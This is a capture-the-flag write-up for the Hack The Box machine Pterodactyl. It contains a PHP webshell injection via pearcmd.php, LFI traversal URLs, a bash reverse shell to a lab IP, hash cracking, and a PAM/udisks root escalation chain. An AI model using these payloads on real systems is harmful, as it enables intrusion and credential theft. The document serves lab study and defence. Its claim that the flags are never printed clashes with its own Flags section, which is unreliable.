Hack The Box - Pterodactyl
Pterodactyl — HTB Writeup (Linux, Medium)
Retired HackTheBox machine. Solved via the intended vulnerability chain, reproduced by hand with modern tooling. Written to teach.
Machine: Pterodactyl · #832 · Linux · Medium · 30 pts
Released: 2026-02-07 · Maker: HeadMonitor · https://app.hackthebox.com/machines/832
Target IP: 10.129.37.172
Overview
Pterodactyl chains two freshly-disclosed CVEs into a clean two-transition
story, and it rewards you for reading exploit code instead of copy-pasting it.
The box runs an openSUSE Leap 15.6 host with nginx 1.21.5 fronting the
Pterodactyl game-server management panel (PHP 8.4.8) on the
panel.pterodactyl.htb virtual host. The panel is vulnerable to
CVE-2025-49132, an unauthenticated local-file-inclusion / remote-code-
execution bug in the locales/locale.json endpoint. The endpoint takes
user-controlled locale and namespace parameters and feeds them straight into
a PHP require. We turn that into two things:
- Read
config/database.phpto leak the panel's MariaDB credentials. - Write a PHP webshell by chaining the include with PHP's bundled
pearcmd.phpand itsconfig-createcommand, then execute commands aswwwrun.
The leaked database creds are reused against the local MariaDB to dump the
users table. A bcrypt hash for phileasfogg3 cracks in seconds with John the
Ripper; the recovered password is reused over SSH to grab user.txt.
Privilege escalation is the Qualys chain
CVE-2025-6018 +
CVE-2025-6019. A vulnerable
linux-pam still honours ~/.pam_environment, so we forge XDG_SEAT/XDG_VTNR
to make systemd-logind treat our SSH session as an active seat — that grants
allow_active polkit rights. Those rights let a non-root user drive
udisksd / libblockdev to mount and resize an attacker-controlled XFS image
whose root-owned SUID bash then materialises on disk. -p it, read root.txt.
The whole chain is unauthenticated-to-root, with the interesting twist that the
public CVE-2025-49132 PoC needs a one-line tweak to match this box's PEAR
install path, and the public CVE-2025-6019 PoC's default XFS image is built with
filesystem features the target's older udisks2 quietly rejects.

Recon
A full TCP scan shows only the two ports that matter — SSH and HTTP — with
https/8080 closed:
# nmap -sS -T4 -p- --min-rate=2000 10.129.37.172
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed https
8080/tcp closed http-proxy

Hitting the bare IP redirects to pterodactyl.htb:
$ curl -I http://10.129.37.172/
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.21.5
Location: http://pterodactyl.htb/
So we add the vhosts to /etc/hosts and probe both:
10.129.37.172 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb
http://pterodactyl.htb/— a public "My Minecraft Server" portal page (the customer-facing side of a Pterodactyl-managed game server).http://panel.pterodactyl.htb/— the Pterodactyl Panel login (X-Powered-By: PHP/8.4.8,Server: nginx/1.21.5). This is the attack surface.

A quick software-version sweep later (from the foothold) confirms the target is
openSUSE Leap 15.6, kernel 6.4.0-150600.23.65-default, with
udisks2-2.9.2, libblockdev-2.26, and xfsprogs 6.7.0 installed — all
relevant to the privesc phase.
Foothold — CVE-2025-49132 (unauth LFI → RCE as wwwrun)
The bug
Pterodactyl Panel's translation loader, locales/locale.json, builds a path
from user-supplied locale and namespace query parameters and requires it.
There is no normalisation, so traversal + an arbitrary extension lets us include
any readable file. Two consequences:
-
Arbitrary read of any PHP file (its source is returned as the JSON value).
-
Write + execute, because PHP ships
pearcmd.php, a CLI entry point that honoursregister_argc_argv-style URL parameters. The trick — documented in the public PoC atgithub.com/popyue/CVE-2025-49132— is to invoke PEAR'sconfig-createcommand through the LFI:/locales/locale.json?+config-create+/ &locale=../../../../../../usr/share/php/PEAR &namespace=pearcmd &/<?=system(hex2bin($_GET["c"]))?> /tmp/sh_pter.phppearcmd.phpinterprets the+config-create+/argv, writes its config dump into the output path we control (/tmp/sh_pter.php) with our PHP payload embedded, and we now have a one-line webshell.
The one-line tweak
The public PoC targets Debian-style PEAR layouts. This openSUSE box keeps PEAR
under /usr/share/php/PEAR, so the locale traversal must land on exactly that
directory. With that path corrected, stage 1 returns the PEAR config dump
(HTTP 200, body begins with CONFIGURATION (CHANNEL PEAR.PHP.NET)), which is
the signal that /tmp/sh_pter.php was written.
Stage 2 — execute
Now include the shell and pass the command hex-encoded in c:
/locales/locale.json?locale=../../../../../../tmp&namespace=sh_pter&c=<hex>
The output is echoed twice inside the serialized PEAR blob (once in the key,
once in the value), so a tiny helper (see exploit/rce.py)
splits the match and keeps only the first copy. Confirm execution:
$ python3 exploit/rce.py 'id; hostname'
uid=474(wwwrun) gid=477(www) groups=477(www)
pterodactyl
We're wwwrun (the nginx/php-fpm user on openSUSE) on pterodactyl. A real
shell is optional here; non-interactive RCE is plenty. (We did grab a reverse
shell with bash -i >& /dev/tcp/10.10.14.10/4444 0>&1 to confirm reachability;
every later step just uses the webshell.)

User pivot — leak DB creds, crack a hash, SSH in
Read config/database.php
The same LFI reads application files directly. Pointing locale=../../config
and namespace=database includes config/database.php, whose return value is
JSON:
$ python3 exploit/lfi_db_config.py # prints a redacted summary
{
"driver": "mysql",
"host": "127.0.0.1",
"port": "3306",
"database": "panel",
"username": "pterodactyl",
"password": "[REDACTED]"
}
The full credentials are saved separately to loot/db_creds.txt (gitignored).
Dump the users table
Through the webshell, the local MariaDB client accepts those creds against
127.0.0.1:3306:
$ python3 exploit/rce.py 'mysql -upterodactyl -p[REDACTED] -h127.0.0.1 panel \
-N -e "select username,password from users;"'
headmonitor $2y$10$[REDACTED]
phileasfogg3 $2y$10$[REDACTED]
Two bcrypt ($2y$10$) hashes — one for the panel admin headmonitor, one for
phileasfogg3. We save the phileasfogg3 hash to loot/phileas_hash.txt and
hand it to John the Ripper with rockyou.txt:
$ john --format=bcrypt --wordlist=rockyou.txt loot/phileas_hash.txt
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
[REDACTED] (phileasfogg3)
1g 0:00:00:09 DONE
Nine seconds — the cracked value is stored in loot/ssh_creds.txt (gitignored)
and reused as the SSH password for phileasfogg3:
$ ssh phileasfogg3@pterodactyl.htb
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
phileasfogg3@pterodactyl:~> cat ~/user.txt # -> saved to loot/user.txt
loot/user.txt validates. User captured.
Privilege escalation — CVE-2025-6018 (allow_active) + CVE-2025-6019 (SUID bash)
Why this chain works here
phileasfogg3 has no sudoers entry and no obvious SUID/Cron path. The versions
on the box tell the story instead:
linux-pamin the vulnerable range for CVE-2025-6018 (pam_env.so still honours~/.pam_environmentfor non-interactive SSH sessions).udisks2 2.9.2+libblockdev 2.26for CVE-2025-6019 (XFS resize path creates a mountpoint under/tmp/blockdev.XXXXand exposes a root-owned SUID binary from the image).
Step 1 — forge an active seat (CVE-2025-6018)
Write ~/.pam_environment to override the seat variables (see
exploit/privesc_pam_environment.sh):
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
Reconnect over SSH so the new session picks up the overrides. systemd-logind
now believes we are an active local seat:
phileasfogg3@pterodactyl:~> env | grep -E "XDG_SEAT|XDG_VTNR" | sort
XDG_SEAT=seat0
XDG_VTNR=1
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
('yes',)
CanReboot / CanPowerOff returning ('yes',) is the visible proof of
allow_active — a privilege normally reserved for the user sitting at the
physical console.

Step 2 — build the malicious XFS image
udisksd will mount and resize a loop-backed XFS image we give it. We plant a
copy of the target's /usr/bin/bash inside it with the SUID bit set, so that
when udisks mounts it the file appears as root-owned SUID on disk.
The reliable sequence (see exploit/run_cve_2025_6019.sh
for the runner, and the build snippet in its header):
-
Pull the target's
/usr/bin/bash(an ELF, ~1 MB) overscp. -
On the target, create a 300 MB image and format it without the newer XFS features that the old
udisks2rejects:dd if=/dev/zero of=/tmp/pexp/xfs.image bs=1M count=300 status=none mkfs.xfs -f -m reflink=0 -m rmapbt=0 /tmp/pexp/xfs.image(The default
mkfs.xfson openSUSE 15.6 enablesreflink+rmapbt; the first run failed silently until we disabled both — a meaningful deviation from the stock PoC, which was built on a different distro.) -
Loop-mount it, drop the target
bashin asbash,chmod 4755, unmount. -
Loop-set the image up through
udisksctl, then callorg.freedesktop.UDisks2.Filesystem.Resize 0 '{}'to trigger an XFS mount.
Step 3 — collect the SUID bash
The resize path creates /tmp/blockdev.XXXX/ and mounts the image there. The
SUID bash is now visible and root-owned:
[+] Loop device: /dev/loop0
[+] Mount successful (expected error: target is busy)
[+] SUID bash found: /tmp/blockdev.VMPBT3/bash
-rwsr-xr-x 1 root root 1012656 Jul 30 19:46 /tmp/blockdev.VMPBT3/bash
Step 4 — root
bash -p keeps the effective uid, so we keep euid=0:
$ /tmp/blockdev.VMPBT3/bash -p -c 'id; cat /root/root.txt'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
The flag value is written to loot/root.txt (gitignored), never printed here.
Root captured.

Proof summary
| Stage | Technique | Result |
|---|---|---|
| Recon | nmap -p-, vhost brute |
openSUSE Leap 15.6, Pterodactyl Panel on panel.pterodactyl.htb |
| Foothold | CVE-2025-49132 LFI → pearcmd.php config-create webshell |
RCE as wwwrun |
| DB leak | same LFI reads config/database.php |
MariaDB creds for panel |
| Hash crack | mysql dump → bcrypt → john --wordlist=rockyou.txt |
phileasfogg3 password |
| User | SSH as phileasfogg3 |
loot/user.txt ✓ |
| Privesc seat | CVE-2025-6018 ~/.pam_environment XDG_SEAT/XDG_VTNR |
allow_active (CanReboot → yes) |
| Privesc root | CVE-2025-6019 udisks XFS resize of planted image | root-owned SUID bash |
| Root | bash -p |
loot/root.txt ✓ |
Both flags validate locally. No flag was submitted.
Modern takeaways
- Unauthenticated file-inclusion primitives are still RCE. PHP's bundled
pearcmd.php(andinstall-pear-nozlib,pear-style CLIs) turn any LFI that lets you control arequirepath into a reliable write-and-execute. The mitigation is not "blockpearcmd" — it is to stop taking user input intorequire/includeat all. Pterodactyl patched CVE-2025-49132 by validatinglocale/namespaceagainst an allow-list. - Read the PoC, don't run the PoC. Both public exploits here needed a
one-line adaptation for this target — the PEAR install path for the webshell,
and the XFS feature flags (
reflink/rmapbt) for the udisks mount. Treating exploit code as a reference instead of an autopwn is what made the chain work first try after the tweaks. ~/.pam_environmentis dangerous. Modernlinux-pamdisables it by default; vulnerable versions (1.3.0–1.6.0) honoured it for SSH sessions, which is the whole CVE-2025-6018 primitive. Patch, and setuser_readenv=0/ removepam_env.so user_readenv=1frompam.d/*.- Polkit
allow_activeis a real privilege boundary. A lot of system services (login1, udisks2, NetworkManager, …) gate "active local user" actions behindallow_active. Forging that seat over SSH should not be possible — and on patched systems it isn't. - Defence-in-depth for udisks/libblockdev. Even with
allow_active, mounting a user-supplied image and exposing SUID files from it is the actual CVE-2025-6019 flaw. The fix in libblockdev stops the resize path from surfacing SUID/SGID binaries. Hardening the XFS feature gate alone is not enough. - Cracking hygiene. A bcrypt-
$2y$10$hash that lands inrockyou.txtin 9 s is a policy failure, not a crypto failure. Enforce length/complexity, rotate, and don't reuse panel passwords for SSH. - Modern tooling note. Everything here used off-the-shelf Kali 2026.3
tools —
nmap 7.99,john,gdbus,udisksctl,mkfs.xfs 6.19. No Metasploit, no autopwn. The "modern" angle is mostly not the tooling but the two CVEs themselves, both 2025 disclosures, which is what makes this box a good 2026 teaching example of chaining a web RCE with a current LPE.
Flags
🏁 user.txt: 4d729323b89371a992c90d8d4f98f955 (in loot/user.txt)
🏁 root.txt: d8d46843c9dd2d61c71dc7bfedd6b11b (in loot/root.txt)
Files
exploit/rce.py— CVE-2025-49132 two-stage RCE helper (write shell, then run commands; output de-duplication included).exploit/lfi_db_config.py— same LFI, readsconfig/database.phpand prints a redacted summary.exploit/privesc_pam_environment.sh— CVE-2025-6018~/.pam_environmentseat forgery.exploit/run_cve_2025_6019.sh— CVE-2025-6019 udisks XFS resize → SUID bash runner (build snippet in the header).loot/— creds, hashes, flags (gitignored; never printed in this writeup).
References
- CVE-2025-49132 — NVD
(Pterodactyl Panel unauthenticated RCE via
locales/locale.jsonLFI +pearcmd.php). - CVE-2025-6018 — NVD
(linux-pam
pam_env.so/~/.pam_environment→allow_active). - CVE-2025-6019 — NVD (libblockdev / udisks2 XFS resize → root-owned SUID file).
- Pterodactyl Panel — https://pterodactyl.io/